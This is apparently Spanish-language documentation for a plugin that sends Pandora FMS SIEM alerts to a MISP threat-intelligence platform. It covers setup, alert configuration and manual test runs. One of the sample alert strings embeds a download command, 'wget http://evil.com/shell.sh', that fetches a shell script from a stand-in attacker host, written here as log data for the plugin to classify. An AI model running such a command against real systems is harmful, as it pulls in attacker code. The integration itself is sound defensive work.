Plugin Pandora SIEM to MISP
Plugin que automatiza el envío de eventos de seguridad y amenazas detectados por el SIEM de Pandora FMS a la plataforma MISP para la creación de eventos y el intercambio de inteligencia.
- Introducción
- Matriz de compatibilidad
- Pre requisitos
- Configuración del Plugin
- Ejecución Manual
- Creación de la alerta en SIEM
Introducción
Ver. 06/03/2026
Plugin que automatiza el envío de eventos de seguridad y amenazas detectados por el SIEM de Pandora FMS a la plataforma MISP para la creación de eventos y el intercambio de inteligencia.
Tipo: Plugin de Servidor
Matriz de compatibilidad
| Sistemas donde se ha probado |
Rocky Linux 9 |
| Sistemas donde debería funcionar |
Cualquier sistema linux |
Pre requisitos
Para el correcto funcionamiento del plugin es necesario contar con Python 3.10 o superior y la librería PyMISP instalada.
Se pueden instalar los requisitos con el siguiente comando:
En Rocky Linux 8 y 9:
# Instalar Python y las dependencias de compilación necesarias
sudo dnf install -y python3.11 python3.11-devel python3.11-pip gcc libffi-devel openssl-devel
# Instalar PyMISP y dependencias
sudo pip3.11 install pymisp requests urllib3
En Ubuntu 22.04:
# Instalar Python y las dependencias de compilación necesarias
sudo apt update && sudo apt install -y python3 python3-dev python3-pip libffi-dev libssl-dev build-essential
# Instalar PyMISP y dependencias
sudo pip3 install pymisp requests urllib3 --break-system-packages
Una vez instaladas todas las dependencias continuar con la configuración del plugin.
Configuración del Plugin
Antes de ejecutar el plugin para exportar alertas del SIEM a MISP, es necesario ubicar el script, otorgar permisos, y configurar las credenciales de acceso a las APIs de ambas plataformas.
1. Ubicación y Permisos del Script
Recomendamos alojar el script pandora_to_misp.py en el directorio estándar de plugins del servidor de Pandora FMS.
Sube el archivo al servidor y ejecuta el siguiente comando para darle permisos de ejecución:
chmod +x /usr/share/pandora_server/util/plugin/pandora_to_misp.py
2. Parámetros del Script
El script funciona mediante argumentos por línea de comandos. Incorpora un motor de auto-clasificación (Triaje) que lee el contenido de la alerta y asigna automáticamente el nivel de amenaza, etiquetas MITRE ATT&CK y categoría, aunque puedes forzar estos valores usando los parámetros opcionales.
Parámetros Obligatorios:
-
-uo--url: URL de la API de tu instancia MISP. -
-ko--key: Clave de autenticación (API Key) de MISP. -
-ao--agent: Nombre del Agente en el SIEM que generó la alerta. -
-no--alert-name: Nombre descriptivo de la alerta. -
-do--alert-data: Datos crudos (raw log) de la alerta. De aquí el script extraerá automáticamente la IP atacante.
Parámetros Opcionales:
| Parámetro | Descripción | Valor por defecto |
-t, --tlp |
Nivel TLP (Traffic Light Protocol). Ej: tlp:red, tlp:amber. |
tlp:green |
-s, --sharing |
Nivel de distribución del evento en MISP (0=Tu Org, 1=Comunidad, 2=Conectados, 3=Todos). | 0 |
-l, --threat-level |
Fuerza el nivel de amenaza ignorando el auto-triaje (1=High, 2=Medium, 3=Low). | Auto-asignado |
-c, --category |
Fuerza la categoría del atributo IP en MISP. | Auto-asignado |
-g, --tags |
Añade etiquetas extra al evento (separadas por comas). | Auto-asignado |
3. Configuración de Disparadores en Pandora FMS
Para que la exportación sea automática, debemos configurar Comando, Acción y Plantilla en las alertas de Pandora FMS para pasar las variables de entorno de Pandora FMS directamente a los parámetros del script mediante el uso de macros.
Paso 1: Crear el Comando de Alerta (Alert Command)
| 1) Field Description |
1) Field Values |
| MISP URL | |
| 2) Field Description | 2) Field Values |
| MISP API KEY | |
| 3) Field Description | 3) Field Values |
| Agent Name | _agent_ |
| 4) Field Description | 4) Field Values |
| Alert Name | _alert_name_ |
| 5) Field Description | 5) Field Values |
| Alert Description | _data_ |
| 6) Field Description | 6) Field Values |
| Optional Parameters |
Ejemplo:
Paso 2: Crear la Acción de Alerta (Alert Action)
En los campos de configuración que aparecen debajo, introduce tus credenciales reales:
-
-
Field 1: URL de tu MISP (Ej:
https://misp.midominio.com). -
Field 2: Tu API Key de MISP.
- Field 3: Queda como viene del comando
- Field 4: Queda como viene del comando
- Field 5: Queda como viene del comando
- Field 6 (Opcional): Si quieres añadir flags extra (por ejemplo, forzar etiquetas), puedes añadirlos al final en el field 6 como únicamente si quieres que todas las alertas que disparen esta acción tengan la misma configuración avanzada que le indiques, la configuración de ejemplo la tienes en el punto 3 (templates). Lo recomendado en este caso sería crear diferentes templates para diferentes tipos de alerta y personalizar el campo Field6 en cada template independiente y no en la acción.
-
Paso 3: Crear la Plantilla de Alerta (Alert Template)
Si optan por configurar los parámetros opcionales para sobrescribir el triaje automático, lo recomendado sería crear varios templates con diferentes valores para que se adapten al tipo de alerta que buscan disparar.
Finaliza el asistente, guarda los cambios y asegúrate de que la plantilla esté habilitada.
Ejecución Manual
Antes de dejar la integración funcionando en automático, es altamente recomendable realizar pruebas manuales desde la terminal del servidor de Pandora FMS. Esto nos permite verificar la conectividad con MISP y comprobar cómo el motor de auto-clasificación (Triaje) analiza los logs en crudo para asignar el nivel de amenaza y las tácticas de MITRE ATT&CK.
A continuación, se presentan 6 ejemplos de ejecución basados en diferentes vectores de ataque, más un ejemplo avanzado usando todos los parámetros opcionales.
Recuerda sustituir https://misp.midominio.com y TU_API_KEY por los datos reales de tu entorno antes de ejecutar los comandos.
1. Explotación de Aplicación Pública (MITRE T1190)
El script detecta intentos de inyección SQL o XSS.
python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
-u "https://misp.midominio.com" -k "TU_API_KEY" \
-a "Web_Server_Apache" -n "Intento de SQL Injection" \
-d "Detectado ataque: select * from users en login.php desde la IP 192.168.1.100"
2. Transferencia de Herramientas Maliciosas (MITRE T1105)
El script detecta comandos de descarga sospechosos en la terminal.
python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
-u "https://misp.midominio.com" -k "TU_API_KEY" \
-a "Linux_App_Server" -n "Descarga de Payload" \
-d "Ejecucion sospechosa: wget http://evil.com/shell.sh iniciada por 10.0.0.50"
3. Ejecución por Usuario / Malware (MITRE T1204)
El script detecta alertas de antivirus o cuarentenas.
python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
-u "https://misp.midominio.com" -k "TU_API_KEY" \
-a "Windows_Endpoint_01" -n "Infección de Malware" \
-d "Antivirus alert: malware trojan quarantined. Origen de descarga: 198.51.100.44"
4. Uso de Cuentas Válidas / Viaje Imposible (MITRE T1078)
El script detecta anomalías en los inicios de sesión.
python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
-u "https://misp.midominio.com" -k "TU_API_KEY" \
-a "VPN_Gateway" -n "Viaje Imposible Detectado" \
-d "Alerta de seguridad: impossible travel VPN login from malicious IP 203.0.113.42"
5. Phishing / Spearphishing (MITRE T1566)
El script clasifica ataques recibidos por correo electrónico.
python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
-u "https://misp.midominio.com" -k "TU_API_KEY" \
-a "Mail_Exchange" -n "Correo Malicioso" \
-d "Filtro de correo: malicious attachment bloqueado del remitente con IP 203.0.113.99"
6. Fuerza Bruta (MITRE T1110)
El script detecta intentos repetidos de autenticación fallida.
python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
-u "https://misp.midominio.com" -k "TU_API_KEY" \
-a "SSH_Server" -n "Ataque de Fuerza Bruta" \
-d "Raw log: Failed password for root from 192.168.1.200 port 22 ssh2"
7. Ejecución Avanzada (Sobrescribir Triaje)
Si prefieres ignorar la clasificación automática del script y forzar tus propios valores, puedes usar los parámetros opcionales. En este ejemplo, forzaremos el nivel TLP a rojo, el nivel de amenaza a Crítico (1), compartiremos con la comunidad (1), asignaremos la categoría manualmente y añadiremos dos etiquetas personalizadas.
python3 /usr/share/pandora_server/util/plugin/pandora_to_misp.py \
-u "https://misp.midominio.com" -k "TU_API_KEY" \
-a "Main_Firewall" -n "Ataque Crítico Personalizado" \
-d "Alerta custom: denegación de servicio desde 10.10.10.10" \
-t "tlp:red" \
-s 1 \
-l 1 \
-c "Network activity" \
-g "SOC-Team, Critical-Alert, misp-galaxy:mitre-attack-pattern=\"Network Denial of Service - T1498\""
8. Verificación
Tras ejecutar cualquiera de estos comandos, el script devolverá un 1 (éxito) o un 0 (error) en la consola. Para comprobar los detalles, revisa el archivo de registro del plugin:
tail -f /var/log/pandora/pandora_misp_integration.log
Finalmente, accede a tu consola web de MISP y verás el evento recién creado con su IP extraída y las etiquetas MITRE correspondientes.
Creación de la alerta en SIEM
Una vez configurados el Comando, la Acción y la Plantilla, el último paso es crear la alerta en el motor SIEM de Pandora FMS. Esta alerta será la encargada de "escuchar" los eventos que ocurran en el sistema y, si coinciden con nuestros filtros, disparará el envío hacia MISP.
Paso 1: Configure (Configuración básica)
En esta primera pestaña, definiremos los metadatos de la alerta:
-
Alert name: Asigna un nombre claro, por ejemplo,
Malicious IP activity detected. -
Group: Selecciona el grupo correspondiente, de lo contrario dejalo en
All. -
Description: Añade una descripción útil para tu equipo, como
Alerta que crea un evento en MISP tras evento ID 200200. -
Severity: Define la severidad de la alerta en el SIEM (ej.
Critical).
Paso 2: Conditions (Condiciones)
Aquí enlazaremos la alerta con la lógica que creamos anteriormente:
-
Load from template: Despliega el menú y selecciona la plantilla que creamos en la fase anterior (en el ejemplo:
Exportar Críticos a MISP). Al cargar la plantilla, los campos de programación (Schedule), umbral de tiempo (Threshold de5 minutes) y contadores de alerta (From 0,To 1) se rellenarán automáticamente con los valores correctos para evitar la saturación de eventos.
Paso 3: Filters (Filtros de detección)
Este es el paso más importante de la configuración. Aquí le decimos a Pandora FMS qué eventos específicos dentro del tráfico del SIEM deben activar esta alerta y, por tanto, enviarse a MISP. Puedes combinar varios campos para hacer el filtro tan estricto como necesites.
A continuación, se detalla para qué sirve cada campo:
-
Free search: Búsqueda libre. Permite buscar una cadena de texto o palabra clave específica dentro de todos los datos del log/evento original.
-
Group / Group recursion: Filtra las alertas para que solo apliquen a los agentes que pertenezcan a un grupo de Pandora FMS específico (pudiendo incluir también sus subgrupos si activas la recursión).
-
SIEM group: Filtra los eventos basándose en el grupo lógico de clasificación del propio motor SIEM.
-
Event description: A diferencia de la búsqueda libre, este campo busca un texto específico exclusivamente en el campo de descripción del evento detectado.
-
Severity: Permite filtrar por la severidad con la que el motor SIEM ha catalogado el evento (All, Informative, Normal, Warning, Critical, etc.). Ejemplo: Seleccionar 'Critical' para exportar solo los incidentes más graves.
-
Level: Nivel nativo del evento en Pandora FMS.
-
ID Rule: Identificador numérico exacto de la regla SIEM que debe hacer saltar la alerta. Ejemplo: Introducir
200200garantiza que solo las detecciones de esa regla en concreto se envíen a MISP. -
Type: Permite acotar por el tipo de evento registrado en el sistema.
-
Mitre: Permite filtrar únicamente aquellas detecciones que el SIEM haya mapeado con una táctica o técnica específica del framework de ciberseguridad MITRE ATT&CK.
-
Agent: Si solo te interesa monitorizar un servidor o dispositivo en concreto, introduce aquí el nombre de su Agente de Pandora FMS.
-
Decoder: Filtra basándose en el decodificador de logs que haya procesado el evento (por ejemplo, si quieres exportar solo alertas procesadas por el decodificador de
windowsoapache). -
Excluded agents: Lista blanca. Permite indicar agentes de Pandora FMS específicos que serán ignorados, de modo que sus eventos NUNCA dispararán esta alerta a MISP.
-
Exclude Rules: Exclusión de reglas. Si en el campo Severity marcaste "All" para llevarte todo, puedes usar este campo para introducir los IDs de aquellas reglas concretas (como avisos menores o "ruido") que no deseas exportar.
(Nota: Para una integración estándar, suele bastar con definir la Severidad y/o el ID Rule, dejando el resto de campos vacíos o en 'None').
Paso 4: Fields (Campos adicionales)
Selecciona la plantilla que quieres tener para esta alerta. Si la plantilla cargada incluye campos personalizados (Macros _field1_, _field2_, etc.), se tomarán los valores de la Template. Por lo general, estos campos ya heredan la configuración directamente del Comando, la Acción y la Plantilla, por lo que puedes dejarlos por defecto y avanzar.
Paso 5: Triggering (Lanzamiento)
En esta última pantalla verificaremos el resumen de la configuración de disparo.
-
Revisa la tabla Triggering Condition para confirmar que el calendario y los umbrales son correctos.
-
En la tabla inferior (Action), comprueba que aparece la acción deseada (ej.
Crear Evento MISP). -
Si no aparece, selecciónala en el desplegable Actions, asegúrate de que From y To estén en
0, y haz clic en el botón verde Add (Asegurate de establecer el threshold correcto)
Finaliza el asistente para guardar la alerta. ¡Tu integración ya está completamente operativa en tiempo real!